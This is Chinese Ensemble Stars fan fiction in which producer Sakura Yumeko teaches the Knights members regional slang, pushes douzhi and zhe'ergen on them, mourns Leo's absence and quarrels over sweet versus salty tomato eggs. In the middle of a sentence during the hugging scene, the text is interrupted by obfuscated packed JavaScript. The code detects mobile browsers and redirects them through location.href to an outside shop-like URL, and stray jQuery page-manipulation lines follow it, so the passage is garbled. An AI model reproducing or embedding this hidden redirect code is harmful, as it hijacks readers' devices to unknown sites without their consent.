魔性东北话与全员懵圈
最近，Knights的成员们发现他们的制作人佐仓梦子，嘴里偶尔会蹦出一些他们完全听不懂，但语调异常魔性、带着一股子豪迈气息的语言。
“哎呀妈呀，这事儿整得，老带劲了！”梦子看着新修改的行程表，满意地点点头。
众成员：“？？？”
濑名泉：“她在说什么？”
鸣上岚：“听起来好像很开心的样子？”
朔间凛月：“加密通话…”
“瞅啥瞅？赶紧的，麻溜儿训练去！”梦子叉着腰，对看着她的成员们说道。
众成员：“？？？”
濑名泉：“（皱眉）她是不是在骂我们？”
朔间凛月：（慢悠悠转头）“小~鸣，她刚才是不是让我们‘麻溜’地去…干什么？”
鸣上岚：（努力思考）“‘麻溜’……好像是快点的意思？”
唯一能跟上节奏的只有露桉。她会平静地回应：“大小姐，日程已经‘安排得明明白白’了。” 或者，“需要我‘削’（打/处理）那个提出不合理要求的合作方吗？”
梦子则会眼睛一亮，用同样的语调回答：“那必须滴！（转向茫然的成员）你们一个个的，咋还杵这儿呢？嘎哈呢？（干什么呢）”
Knights的几位面面相觑，完全无法理解这加密对话。他们只觉得梦子最近的语言系统似乎被某种神秘力量入侵了，充满了“整”、“瞅”、“老”、“嘎哈”这类让人摸不着头脑，但又莫名被带跑偏想跟着学的词汇。
濑名泉试图理解并吐槽：“所以‘老带劲’到底是‘很麻烦’还是‘很有趣’？这语言逻辑超~烦的！”
鸣上岚已经开始偷偷模仿：“啊啦~人家也觉得这个行程‘老好了’~？”
朔间凛月放弃思考，直接躺平：“…你们高兴就好…”
梦子看着成员们一脸懵圈又忍不住好奇的样子，偷偷和露桉交换了一个眼神，嘴角憋着笑。
（看来，偶尔换种语言“折磨”一下他们，也挺有趣的嘛！）
“东北话小课堂”开讲啦！
看着成员们一头雾水又忍不住好奇的样子，梦子玩心大起，决定临时开设一个“东北话速成小课堂”。她清了清嗓子，站到休息室中间，拍了拍手。
“咳咳！注意了注意了！今天佐仓老师给大家普及一下咱们那旮沓的……呃不是，是东北话！”她差点自己都被带跑偏，“我懂得也不多，但够用了！”
她开始煞有介事地教学：
“首先，‘老’这个词，万能的！‘老好了’就是非常好！‘老带劲了’就是特别有趣、特别棒！‘老多了’就是非常多！明白没？”
濑名泉抱着手臂，眉头紧锁，试图理解：“……所以，‘老麻烦’就是非常麻烦？这倒是挺直观的。还行。”
鸣上岚努力跟读：“老~好~了~？语调好像有点难掌握呢~”
朔间凛月：“…‘老困了’…是不是就是我现在的状态…”
梦子继续：“然后，‘瞅’就是看！‘你瞅啥’就是‘你看什么’！通常用于……呃，用于友好交流的开场白！”（她省略了后面可能接的“找削啊？”）
“还有，‘整’！这个词更厉害！‘整点吃的’就是弄点吃的，‘这事儿整的’就是这事儿办的/搞得……总之，非常万能！”
露桉在一旁默默点头，仿佛在复习已知知识点。
梦子越讲越起劲，甚至开始互动：“来，岚姐姐你试试用‘老’造句！”
鸣上岚思考了一下，优雅地一甩头发：“今天的梦子亲，老可爱了~”
梦子：“……虽然用法对了，但感觉哪里怪怪的。”她转头看向濑名，“濑名前辈，你呢？”
濑名泉：“……这堂课真是‘老烦人了’。”
梦子：“……好吧，也算对了。”
朔间凛月慢悠悠举手：“…那‘整点儿觉睡’…是不是就是去睡觉的意思…”
梦子扶额：“……凛月前辈，你的学习方向是不是有点偏……”
一堂课下来，Knights的休息室里充满了各种语调诡异的“老好了”、“瞅啥呀”、“整一个”，场面一度十分混乱又好笑。虽然最终也没几个人真正掌握精髓，但欢乐的气氛却是实实在在的。
梦子看着这群说着塑料东北话的“骑士”们，心满意足。
（嗯，Knights的国际化……不对，是东北化进程，迈出了历史性的第一步！）
“豆汁儿”挑战与骑士们的滑铁卢
继东北话小课堂后，梦子的“中华文化普及”热情高涨。这天，她神秘兮兮地抱着一个保温壶走进休息室，脸上挂着灿烂又带着一丝狡黠的笑容。
“各位~今儿我这儿有瓶好东西——”她故意拉长了腔调，带着点京片子的韵味，“正儿八经的北京豆汁儿！来，试一下吧，包好喝的~”
她打开壶盖，一股难以形容的、带着微妙发酵酸涩的气味瞬间飘散出来。
濑名泉第一个后退半步，眉头拧成了结，脸上是毫不掩饰的嫌弃：“这、这是什么味道？！比过期牛奶还可怕！绝对不要！”
鸣上岚死死捂住口鼻，花容失色：“啊啦！梦子亲！这个味道……人家、人家不行！这真的是饮料吗？”
朔间凛月原本慵懒的神情瞬间清醒，仿佛遇到了天敌，迅速蜷缩到沙发角落：“……拿走…快拿走…这比大蒜还对吸血鬼不友好……”
连一向面不改色的露桉，闻到味道后也微不可察地蹙了下眉，但依旧保持着职业素养，只是默默上前一步，准备在自家大小姐尝试时随时接手。
梦子看着众人避之唯恐不及的反应，笑得更加开心了：“哎呦喂，瞅你们这怂样儿~这可是老北京的地道味儿，闻着怪，喝着香！”她给自己倒了一小杯，在众人惊恐的注视下，面不改色地喝了一口，还咂咂嘴，“嗯！就是这个味儿！倍儿棒！”
“呜哇——！！！”成员们发出更加惊恐的声音。
梦子坏笑着把杯子往他们面前递：“真不试试？练了好久的北京话就为忽悠……啊不是，就为请你们喝这个呢！”
濑名泉脸色发青：“你的北京话和这东西一样可怕！离我远点！”
鸣上岚连连摆手：“梦子亲，这个‘好意’人家心领了！”
朔间凛月已经把整张脸埋进了抱枕：“…我选择长眠…”
最终，豆汁儿挑战以Knights全员溃败告终。梦子看着眼前东倒西歪、对豆汁儿如临大敌的成员们，一边笑着收起保温壶，一边用字正腔圆的北京话总结：
“得嘞~看来您几位是无福消受喽！”
虽然豆汁儿推广计划彻底失败，但休息室里鸡飞狗跳的热闹和成员们鲜活（且崩溃）的反应，却让梦子觉得，这比成功教会他们一句北京话还有趣。只是她没注意到，露桉悄悄记下了“大小姐似乎对气味独特的发酵饮品有偏好”，并开始思考如何安全地满足这个潜在爱好。
“生化武器”折耳根与全员溃逃
继豆汁儿之后，梦子的“地方特产分享会”似乎停不下来了。这天，她提着一个看起来十分正常的保鲜盒，脚步轻快地走进休息室，脸上挂着人畜无害的甜美笑容。
她用一种带着独特腔调、柔软又有些黏连的方言说道：“露桉，帮我拿一下嘛~这个折耳根，来来，大家都尝一尝哈~”
“是，大小姐。”露桉依言接过盒子，但在打开盖子的一瞬间，她那向来没什么表情的脸也出现了一丝极其细微的凝固。一股更加霸道、混合着泥土腥气和强烈鱼腥味的奇异气味，如同无形的冲击波，瞬间席卷了整个休息室！
濑名泉原本正在保养舞台服装，闻到味道后手一抖，差点把衣服扯破，他猛地站起身，脸上是前所未有的惊恐：“这又是什么？！这次的比上次那个‘豆汁儿’还要可怕一百倍！这是生化武器吗？！”
鸣上岚发出一声短促的尖叫，以迅雷不及掩耳的速度躲到了濑名泉身后，用他的袖子死死捂住鼻子：“救、救命！梦子亲！这个东西它……它是不是坏掉了？！怎么会是这个味道！”
朔间凛月这次连“zzz”都省了，直接像受惊的猫一样从沙发上弹起来，试图寻找远离气味源头的通风处，脸色比平时更苍白：“……离开……请让它离开……我宁愿去晒日光浴……”
就连露桉，也默默地将盒子盖好，放到离大家最远的角落，然后不动声色地站到梦子和盒子之间，仿佛在隔离危险源。
梦子看着瞬间炸锅、四处逃窜的成员们，眨了眨无辜的大眼睛，用贵阳话解释道：“哎哟，怕哪样嘛！折耳根就是这个味道咯！拌起辣椒酸菜，好吃得很！清凉解毒的！”
她拿起筷子，示意要亲自演示怎么吃。
“站住！不许过来！”濑名泉一手捂着鼻子，一手指着梦子，声音都变了调，“佐仓梦子！我命令你立刻停止投毒行为！”
“梦子亲！手下留情啊！”鸣上岚带着哭腔哀求。
朔间凛月已经退到了门口，虚弱地扶着门框：“…小~梦子…你的心意…我们真的…承受不起…”
最终，这盒威力惊人的折耳根，在Knights全体成员（包括露桉）无声且坚决的抵抗下，未能成功推销出去。梦子看着空荡荡的、只剩下她和露桉的休息室，以及远处成员们惊魂未定的身影，委屈地扁了扁嘴：
“真是的，一点都不会欣赏……”
露桉沉默地递上一杯清水，心想：（大小姐的爱好，在挑战他人嗅觉极限这方面，似乎越来越有突破性了。）
发往宇宙的电子日记
梦子点开与月永雷欧的聊天界面，那个总是充满疯狂表情包和即兴语音条对话的窗口，如今只剩下她单方面发送的、长长的文字消息。她知道他可能不会看，或者看了也不会立刻回复，但她还是坚持着，像写电子日记一样，絮絮叨叨地记录着。
「雷欧前辈：
今天试着教大家说东北话和北京话了，结果你猜怎么着，濑名前辈的表情超——级搞笑！岚姐姐学得最认真，虽然语调怪怪的。凛月前辈嘛……他好像只想用新学的词造句去睡觉。」
「露桉回来了哦！她现在也是梦之咲的学生了，是经纪人候选人！不过她还是老样子，动不动就说要把人制裁……（苦笑）但是有她在，真的很安心。」
「大家……好像都在努力适应没有你在的Knights。濑名前辈管得更严了，岚姐姐努力活跃气氛，凛月前辈……嗯，他看起来好像没什么变化，但我知道他也在用自己的方式支撑着。」
「我今天……和大家一起跳了兔子舞，就是以前你跳得最欢的那个。果然，没有你在，连混乱都显得有点……不够尽兴。」
文字在这里停顿了很久，光标一下下闪烁着。最后，梦子还是轻轻敲下了那句藏在心底最深处的、绝不会在其他人面前显露的话：
「雷欧前辈，你不在这里……
我好寂寞。」
她盯着这行字看了几秒，然后像是怕自己后悔似的，飞快地按下了发送键。
消息变成了“已送达”状态，静静地躺在对话框里，像一颗投入深海的石子，不知道能否激起遥远的回响。
梦子锁上屏幕，将手机贴在心口，仿佛这样就能离那个在远方寻找答案的、吵闹的天才更近一点。
（快点回来吧。）
（没有你的Inspiration，Knights的星空，总是缺了最亮的那一颗啊。）
已读不回与无声的重量
手机屏幕在月永雷欧昏暗的房间里，短暂地亮起。那条带着隐秘思念的消息，安静地躺在对话框的最底端。
他看到了。
“雷欧前辈，你不在这里……我好寂寞。”
那行字像拥有实体，撞进他的眼底，沉甸甸地压在他的胸口，让他几乎喘不过气。手指悬在冰冷的屏幕上，微微颤抖。
（……梦子……）
他想说点什么。想发一堆哈哈哈的表情包，说“寂寞的话就让Inspiration填满它！”。想像以前一样，用夸张的言语将那份沉重轻飘飘地带过。
但他打不出任何一个字。
因为他自己正深陷于“我究竟是什么”的泥沼之中，连自身的旋律都寻找不到，又该如何去回应另一份如此直白而脆弱的依赖？
（我……不知道该说什么……）
（安慰？鼓励？我现在连自己都安慰不了……）
（承诺？我连自己何时能回去都不知道……）
回复框里光标闪烁，如同他杂乱无章的心跳，最终归于一片死寂。
他关掉了屏幕，将手机扔到床的另一头，仿佛这样就能逃离那行字带来的重量。他蜷缩起来，将脸埋进膝盖。
（对不起……梦子……）
（再等等我……）
（至少……要等我找到……能再次响起的音符才行……）
远方城市的灯火透过窗户，在他身上投下模糊的光影。房间里只剩下他压抑的呼吸声，和那份已读不回所带来的、震耳欲聋的寂静。
“帅气可爱迷人的骑士后花园”与日常碎片
梦子手指飞快地操作着手机，将那个原本正经八百的「Knights工作群」名称，改成了一个画风突变的——
「帅气可爱迷人的骑士后花园」
改完还附带了一个得意的猫咪表情包。
梦子： 【图片：被濑名泉挑剔了十七遍后终于通过的行程表】搞定！濑名前辈的“完美主义”检验通过！各位请查收~
濑名泉：哼～总算是有点样子了。下次再犯那种低级错误，我可不会这么轻易放过你。
梦子：是是是~
梦子： 【图片：鸣上岚正在帮梦子整理头发】岚姐姐的编发手艺又进步了！今天也是被宠爱的一天~
鸣上岚：啊啦~因为梦子亲的头发手感超好嘛！下次试试更复杂的发型吧！
梦子：好呀好呀！
梦子： 【图片：朔间凛月蜷在沙发角落睡觉，身上盖着梦子给的小毯子】凛月前辈的“充电”画面，捕捉！（小声：其实是他又霸占了最软的沙发……）
朔间凛月： …小~梦子…偷拍是不好的…（翻身）…记得把我拍得帅气一点…
梦子：收到！下次一定用美颜滤镜！
梦子： 【文字汇报】报告！已成功阻止露桉就“合作方态度不佳”一事启动“缅北”备选方案！??
露桉： （冷静回复）已记录在案。若对方再有下次，将启动一级应对程序。
众人： （冷汗）
这个被梦子强行赋予了奇怪名字的群，就这样成为了分享琐碎日常、传递细微关心、以及（试图）约束露桉危险想法的小小天地。每一条分享，都能得到或别扭、或温柔、或慵懒、或冷静的回应。
唯独那个属于月永雷欧的头像，始终安静地灰着，没有已读，也没有回复。
但梦子还是会习惯性地@他，把那些有趣的事情也分享给他。
仿佛在说：
你看，我们都在这里。
这个“后花园”里，一直留着你的位置。
等你回来，一定会更加热闹。
“骑士后花园”今日份的鸡飞狗跳
「帅气可爱迷人的骑士后花园」
上午 9:03
梦子：早安安！各位骑士大人~ 今天的训练计划发群里啦！记得看哦！
鸣上岚：早啊梦子亲~ 今天人家也会全力以赴，闪闪发亮的！
朔间凛月： …训练…可否推迟到…自然醒…
濑名泉： @朔间凛月不行！给我立刻从你那棺材一样的被窝里爬起来！还有@梦子，下次行程表记得把缓冲时间也算进去，上次差点因为你没算红绿灯时间而迟到！超~烦的！
上午 11:27
梦子： 【分享链接：震惊！这十种食物一起吃竟会……】
濑名泉：这种毫无科学依据的垃圾推送不要发到工作群里！@梦子你的信息筛选能力需要加强！还有，你昨天是不是又偷偷吃泡面了？！
梦子： (；??д｀)ゞ ……我错了……
鸣上岚：啊啦~泉酱好严格~不过梦子亲，泡面确实对皮肤不好哦？
朔间凛月： …泡面…乃熬夜必备良伴…
下午 2:15
鸣上岚： 【照片：鸣上岚和梦子头靠头对着镜头比耶】和梦子亲的午休自拍~
濑名泉： @鸣上岚你的自拍背景是训练室吧？地毯的褶皱都没整理平整！还有@梦子，你的头发有一缕没梳好，影响整体形象！细节！细节决定成败！
梦子：是是是，泉妈妈~ (立马撤回消息）
濑名泉：我看到了！你说谁是妈妈？！
下午 4:50
梦子：报告！露桉给我准备了超~健康的蔬菜汁！【图片：一杯绿油油的液体】
朔间凛月： …看起来…像沼泽里捞出来的…
濑名泉：总算做了件像样的事。@梦子全部喝完，不许浪费。
梦子： TAT 味道好奇怪……
露桉： （平静出现）大小姐，这对您的身体有益。需要我为您准备蜜饯吗？
梦子：要！露桉最好啦！
晚上 8:00
濑名泉： @全体成员明天早上7点集合，进行舞台动线最终确认。迟到一秒，加练十遍。
朔间凛月：…人类的清晨…是吸血鬼的安眠时间…
鸣上岚：知道啦泉酱~人家会定三个闹钟的！
梦子：收到！（默默把闹钟调早了半小时）
濑名泉：哼，这还差不多。
群里依旧吵吵嚷嚷，充斥着濑名泉无处不在的挑剔和教育，以及其他成员或配合或敷衍或叛逆的回应。而那个唯一的灰色头像，依旧沉默地注视着这一切，如同一个静默的注脚，记录着这份喧嚣中的一丝缺憾。
悄然转变的视线
自月永雷欧离开后，Knights的成员们在经历最初的混乱与低谷后，看待制作人佐仓梦子的目光，不知不觉地染上了更为复杂的色彩。那不再仅仅是对“制作人”的依赖或信任，更掺杂了属于青春期少年对一位坚强又脆弱、努力又需要被呵护的异性，所产生的、连他们自己都未必能清晰界定的情愫。
濑名泉：从挑剔到笨拙的守护
他依旧是那个吹毛求疵的“老妈子”，但挑剔的重点，却微妙地从“工作失误”更多转向了“个人状态”。
（呜~这家伙，黑眼圈又重了，昨晚肯定又熬夜。）
（啧，手这么凉，是衣服穿少了吗？）
他会一边抱怨着“超~烦的”，一边把热饮“不小心”多买了一杯塞给她；会一边挑剔她修改的行程表，一边却在她看不到的地方，默默帮她挡掉一些不必要的应酬和刁难。那份关心，包裹在层层叠叠的别扭和毒舌之下，却比以往任何时候都要来得细致和…私人。
朔间凛月：从慵懒到有意的靠近
他依然时常处于“省电模式”，但却更频繁地、如同寻找热源的小动物般，自然地靠近梦子所在的位置。不再是单纯地把她当作“安眠枕”，而是在她对着电脑蹙眉时，会慢悠悠地递上一颗糖；在她因压力而沉默时，会故意用些无伤大雅的恶作剧吸引她的注意。
（…小~梦子身上的味道…能让人平静下来…）
他的靠近，带着一种无声的慰藉和依赖，比单纯的睡眠请求，包含了更多难以言明的亲近。
鸣上岚：从喜爱到加倍的珍视
他本就对梦子抱有极大的好感，如今这份感情更添了一层保护欲。他不再仅仅将梦子视为可爱的后辈或需要照顾的制作人，更像是…看待一件需要小心翼翼捧在手心里的珍宝。
（啊啦~梦子亲今天笑起来有点勉强呢…得想办法让她真正开心起来才行。）
他会更主动地约她逛街，为她挑选衣物饰品，用他特有的方式为她营造轻松的氛围，眼神中的温柔里，多了几分不容他人伤害的坚决。
共同的变化：
他们依然会争吵，会打闹，会为了Knights的未来共同努力。但某些瞬间，当梦子因为他们的某句话而笑起来，当她疲惫地靠在沙发上小憩，当她不经意流露出与年龄相符的脆弱时……少年们的心跳，总会不自觉地漏掉一拍。
那是一种混杂着心疼、保护欲、欣赏，以及一丝若有若无独占欲的复杂心情。他们或许尚未将其定义为“恋爱”，但这份因共同经历风雨而催生出的特殊情感，无疑让梦子在他们的世界中，占据了独一无二、且更加鲜明的位置。
Knights的休息室里，依旧充满日常的喧嚣，但在那之下，涌动着的是几颗因同一个女孩而变得愈发柔软、也愈发坚定的心。
工作麻痺与无声的担忧
月永雷欧的离开，在佐仓梦子心里凿开了一个空洞。为了填补这份令人心慌的空缺，她将自己彻底埋进了工作中，近乎自虐般地投入到Knights的日常运营和细节打磨里。
休息室的电视机屏幕上，反复播放着Knights过去的演出录像。梦子抱着膝盖坐在地上，眼睛死死盯着屏幕，手里拿着笔记本和笔，像個最严苛的评论家，记录着每一帧的瑕疵。
“这里，岚姐姐的走位比标准快了0.5秒，挡住了濑名前辈的侧脸镜头。”
“凛月前辈这个转身的动作，力度比上周练习时弱了2成，视觉效果打折扣。”
“整体的和谐度，因为这点细微的差别，下降了5%……”
她喃喃自语，笔尖在纸上沙沙作响，试图用这些冰冷的数据和分析，来掩盖心底那份因为缺少了那个最不规则、也最耀眼的元素而产生的巨大失落感。
饭菜凉了又热，热了又凉，放在一旁的茶几上，她却连看都没看一眼。露桉沉默地更换着餐食，看着大小姐眼底越来越重的青黑和几乎没动过的食物，眉头微蹙，却没有多言，只是更安静地守在一旁。
这种状态持续了几天，Knights的成员们都察觉到了异常。
濑名泉皱着眉，看着那个又一次对着录像暂停画面发呆的梦子，终于忍不住走上前，“啪”地一声关掉了电视。
“超~烦的！你到底要看多少遍？”他的语气依旧冲，却带着一丝不易察觉的焦躁，“那些细微的误差，在现场根本没人会注意到！你现在做的这些，毫无效率可言！”
梦子像是被惊醒，茫然地抬起头，眼底带着血丝：“可是……如果雷欧前辈在的话，这些误差可能就会被他的即兴发挥掩盖过去，但现在不行……我们必须做到更完美才行……”
她的声音越来越小，带着一种执拗的脆弱。
鸣上岚担忧地递上一杯温水：“梦子亲，先休息一下，吃点东西好不好？你的脸色好差……”
朔间凛月不知何时也走了过来，难得没有立刻瘫倒，而是拿起一块三明治，直接递到梦子嘴边：“…吃饭…这是命令…”
看着成员们担忧的目光，和递到嘴边的食物，梦子愣了一会儿，终于缓缓放下笔，接过了三明治，小口咬了一下。
（我……又在让大家担心了……）
她低下头，鼻子有些发酸。
（但是……不这样做的话……那份寂寞……快要溢出来了啊……）
工作成了她逃避现实的铠甲，却也让她差点忽略了身边其他同样重要的人和事。
无声的崩溃与凛月的清醒
梦子蜷缩在休息室的角落，下巴抵在膝盖上，眼神空洞地望着地板上某一点。成员们的关心和递来的食物，她接下了，却只是机械地吞咽，味同嚼蜡。
内心的声音如同毒蛇，缠绕不休：
（如果当初我能更敏锐一点……）
（如果我能提前察觉到那些针对Knights的恶意……）
（如果我能更好地保护雷欧前辈……）
（也许……他就不会受伤，不会离开……）
但紧接着，更深的无力感如同冰水浇头而下。
（不对……）
（像我这样的人……）
（就算再来一次，大概也改变不了什么吧……）
这种全盘的自我否定，比任何外界的指责都更具杀伤力。她觉得自己所有的努力，所有的“诚意”，在真正的现实和恶意面前，是如此不堪一击。她没能守护好Knights的完整，没能留住那个最重要的灵魂。
就在她几乎要被这沉重的漩涡彻底吞噬时，一个带着困意却异常清晰的声音，慢悠悠地在她头顶响起。
“……小~梦子……”
朔间凛月不知何时蹲在了她面前，依旧是那副没睡醒的样子，但那双红色的眼眸却难得地完全睁开，定定地看着她。
“你把所有责任……都揽到自己身上……是打算扮演悲剧英雄吗？”他的语气依旧懒散，话语却像一把精准的手术刀，“小月那家伙……是听到了内心的声音才离开的。那是他自己的选择，他的‘战争’。”
他伸出手，用指尖轻轻点了点梦子的额头。
“而你……你的‘战争’，在这里。”他的目光扫过整个休息室，扫过不远处虽然假装不在意却竖着耳朵听的濑名和岚，“是和我们一起，守住这个剩下了一半的‘王国’。”
“你以为……我们是因为谁，才没有在那家伙任性地跑掉之后，也跟着散伙的？”凛月的声音很轻，却重重地敲在梦子心上，“是因为你啊，笨蛋制作人。”
“是你还在拼命地抓着缰绳，是你还在努力地修补城墙，是你……即使自己难过得要死，也还记得给睡着的我盖条毯子。”
他收回手，重新变回那副慵懒的模样，仿佛刚才那段话耗尽了他所有的能量。
“所以……别再说什么‘像我这样的人’这种蠢话了……”
他转过身，慢吞吞地挪回他的沙发，声音逐渐低下去，像是梦呓，
“在我们眼里……你就是你。是Knights的……制作人佐仓梦子。这就够了……”
梦子怔怔地看着凛月蜷缩回沙发的背影，又看了看不远处虽然别扭却明显在关注这边的濑名和岚，一直强忍着的泪水，终于无声地滑落。
但这一次，不再是纯粹的绝望和自责。
凛月的话，像一道微弱却执拗的光，刺破了她内心厚重的阴云。
（我的……战争？）
（守住……这里？）
她缓缓抬起手，擦掉眼泪，深吸了一口气。
也许她依然不够强大，依然会犯错，依然无法预知所有风雨。
但至少，在这里，还有人需要她，还有人肯定着她的价值。
这就够了。足够她再次站起来，继续前行。
崩溃的誓言与无声的拥抱
梦子的声音带着剧烈的颤抖，泪水决堤般涌出，她几乎是扑过去，紧紧抱住了离她最近的濑名泉和鸣上岚，手臂用力到指节发白，仿佛一松手他们就会消失。
“我好想……好想和你们一辈子在一起啊……！”她的哭喊带着绝望的恳求，“可是……可是为什么……如今却要各奔东西……？”
她抬起泪眼朦胧的脸，看向在场的每一个人，眼神里是近乎破碎的哀恸和孤注一掷：
“如果能再次齐聚一堂……让我做什么都可以！我们不是……命运共同体吗？！我们不会认输的，对吧？！”
往昔的画面在她眼前飞速闪过——舞台上耀眼的灯光，震耳欲聋的欢呼，休息室里吵闹的日常，雷欧疯狂大笑谱曲的样子，大家一起分享的便当，那些笨拙却真诚的关心……
“那些快乐的时光……不要走啊……！”她泣不成声，“我真的很重视大家……喜欢着大家……如果没有你们的话，我……！”
她的话语戛然而止，无法再说下去，只是将脸深深埋下去，肩膀剧烈地耸动。她害怕被指责“满脑子都是自己”，害怕自己的这份沉重情感会成为大家的负担，但她无法控制。是Knights的歌声与梦想，将她从过去灰暗压抑的人生中拉了出来，给了她色彩和方向。她只是想用尽全部力气，抓住这束光，这唯一的救赎。
被突然抱住的濑名泉身体僵硬，他能感受到怀里女孩几乎崩溃的颤抖和滚烫的泪水浸湿了他的衬衫。他紧抿着唇，那双总是挑剔的眼睛里翻涌着复杂的情绪，最终，他抬起手，有些生硬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759886|190069||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地、却稳稳地回抱住了她，低声呵斥，语气却不再尖锐：“……笨蛋……别说得好像我们已经解散了一样！烦死了……”
鸣上岚早已泪眼汪汪，反手紧紧抱住梦子：“梦子亲！我们就在这里啊！不会走的！人家也最喜欢你了！”
朔间凛月不知何时也走了过来，安静地伸出手，轻轻放在梦子颤抖的背上，声音低沉：“…小~梦子…你的‘一辈子’…听起来…超~麻烦的…不过…好像…早就被缠上了呢…zzz…”
露桉站在稍远的地方，没有上前，但眼神始终牢牢锁定在梦子身上，如同最沉默的磐石。
这一刻，没有人在意这是否是“满脑子都是自己”的想法。他们只看到了一个拼尽全力想要守护重要之物、却害怕失去到快要崩溃的女孩。
她的哭泣，她的誓言，她的“喜欢”，都无比真实地传达给了每一个人。
Knights，或许暂时缺失了一块拼图，但剩下的碎片，在此刻紧紧相拥，用他们各自的方式，接住了这份沉重而真挚的情感。
这份羁绊，远比他们想象的，还要坚韧。
数学难度大对比与“卷王”的叹息
某天，梦子在帮Knights的成员核对演出数据报表时，看着日本高中数学教材里作为例题出现的题目，忍不住托着腮帮子，用笔尖点了点纸面，长长地叹了口气。
“哎……不是我说，你们这儿的数学，跟我们那边比，真是简单得不是一星半点儿啊。”
她这话一出，立刻引来了关注。
濑名泉挑眉：“哦？你又有什么高见了？”
梦子翻开手机，找出一道国内初中数学竞赛的经典几何题，推到桌子中央：“喏，你们看看这个，在我们那儿，这算是初中生就要开始接触的难度了。辅助线要画三条以上，还要用上旋转构造全等，证明步骤写下来得大半页纸。”
鸣上岚凑过来一看，立刻眼花缭乱：“这些线条绕来绕去的，头好晕……”
朔间凛月瞥了一眼，又把头埋了回去：“光是看着就消耗能量……”
濑名泉仔细看了片刻，眉头越皱越紧，虽然不想承认，但这题的复杂程度确实超出了他的预期。他不满的疑惑：“设计这种题目有什么意义？”
“意义就是筛选和竞争啊。”梦子收回手机，语气带着一种经历过千军万马过独木桥的沧桑感，“我们那可是从小学就开始卷了。奥数班、培优班、各种竞赛……大家都拼了命地想跑在前面。‘卷王’这个词，可不是白叫的。”她摊了摊手，一脸无奈又带着点小自豪，“没办法，环境就这样。跟你们这儿强调‘宽松教育’、培养兴趣的氛围，确实没法比啦。”
露桉在一旁平静地补充道：“大小姐在中国接受基础教育期间，数学成绩始终名列前茅。此类题型对她而言确实属于基础范畴。”
梦子点点头，随即又像是想起了被数学支配的“恐惧”，打了个寒颤：“不过现在想想还是觉得好难啊！当时真是头发都快掉光了！还好我来日本当制作人了，不用再天天跟那些变态题目死磕！”
她这番关于中日数学难度差异的即兴吐槽，让Knights的成员们再次深刻感受到这位中国大小姐背后那截然不同的成长轨迹和强大的学习压力。同时也觉得，能从那片“卷王”之地杀出来，成为他们制作人的梦子，某种意义上，也确实是个“狠人”。
被经典题目支配的恐惧
梦子一边核对着数据，一边像是想起了什么不堪回首的往事，痛苦地抱住了头：
“啊啊啊——说到中国的试卷，我就忍不住要吐槽！那些出题人是不是跟‘小明’、‘小美’还有‘李华’有什么终身合约啊？！”
她掰着手指头，开始细数那些刻在DNA里的题目：
“数学卷子上，不是‘小明不小心把墨水洒在账本上，请你根据残存数字推算他到底买了多少斤单价X元的苹果和Y元的梨’，就是‘小美以每分钟Z米的速度从A地出发，小刚从B地……’求他们什么时候相遇！拜托！他们俩是连体婴儿吗？为什么总要一起出现？而且小明为什么老是弄脏东西？！老大个人了能不能仔细点！”
她越说越激动，仿佛那些年做过的题海都在眼前翻涌。
“还有英语作文！那个李华！他是不是有什么社交牛X症啊？！每年都要给外国笔友写信，介绍端午节、中秋节、春节！要么就是邀请人家来参加学校活动！每次都是‘假设你是李华’……我都能以李华的名义开个跨国社交账号了！”
Knights的成员们听得一愣一愣的。
鸣上岚好奇地问：“李华……是很有名的人吗？”
梦子扶额：“不！他根本就是出题人想象出来的工具人！专门负责给我们找事做的！”
朔间凛月懒洋洋地点评：“…听起来…很会给人添麻烦…”
濑名泉虽然脸上还是一副嫌弃的样子，但也不得不承认：“这种重复出现的固定模式，确实缺乏新意和挑战性。”
梦子总结陈词，痛心疾首：“所以说，出题人能不能有点创新精神！放过小明小美和李华吧！他们都快在试卷上打工十年了！”
这番对中国标准化考试经典题目的疯狂吐槽，充满了只有经历过的人才能懂的怨念，也让Knights的各位再次感受到了来自神秘东方的、名为“应试教育”的强大压力。
番茄炒蛋引发的“料理战争”
休息室里，濑名泉亲自下厨，端出了一盘色泽金红、卖相相当不错的番茄炒蛋，脸上带着一丝不易察觉的、期待被认可的神情。
“喏，尝尝看。虽然比不上专业厨师，但绝对健康、卫生，符合营养标准。”他故作平淡地说道。
梦子眼睛一亮，毫不客气地拿起筷子夹了一大口送进嘴里。然而，咀嚼了两下，她的表情瞬间凝固，随即瞪大了眼睛：
“等等！这味道……怎么是咸的？！”她像是发现了什么不可思议的事情，“我从小到大吃的番茄炒蛋，都是偏甜的！用糖调味的那种！”
濑名泉的眉头立刻皱了起来：“哈？甜的？超~烦人的！番茄炒蛋当然是咸的啊！用盐和少许酱油提鲜，才能带出鸡蛋的香醇和番茄的微酸！放糖？那是什么邪道！”
“邪道？！”梦子不服气地放下筷子，“甜口的才是正统好不好！酸甜开胃，拌米饭一流！咸口的才奇怪呢！”
“你的味觉才奇怪吧！甜腻腻的像什么话！”
“你的口味才老旧呢！咸党都是异端！”
“你这是对料理的亵渎！”
“你这是不懂变通！”
两人你一言我一语，为了番茄炒蛋的甜咸之争吵得不可开交，仿佛这是什么关乎原则的重大问题。
旁边的鸣上岚试图打圆场：“甜有甜的好，咸有咸的妙嘛~”
朔间凛月慢悠悠地插话：“…能不能…放辣椒…”
露桉则默默记下：（大小姐偏好甜口番茄炒蛋，需纳入日后饮食安排考量。）
最终，这场“战争”以梦子气呼呼地宣称“下次我做个甜口的让你见识见识！”，以及濑名泉抱着手臂冷哼“哼，浪费食材”而暂时休战。
这盘引发了南北口味之争的番茄炒蛋，虽然没能达成口味上的共识，却意外地成为了Knights休息室里又一个热闹非凡的日常插曲。
甜咸巅峰对决·女子力大比拼
梦子说到做到，隔天就系上围裙，霸占了厨房，誓要做出完美甜口番茄炒蛋，与濑名泉一决高下，证明谁的“女子力”更胜一筹。
梦子版甜口番茄炒蛋登场：
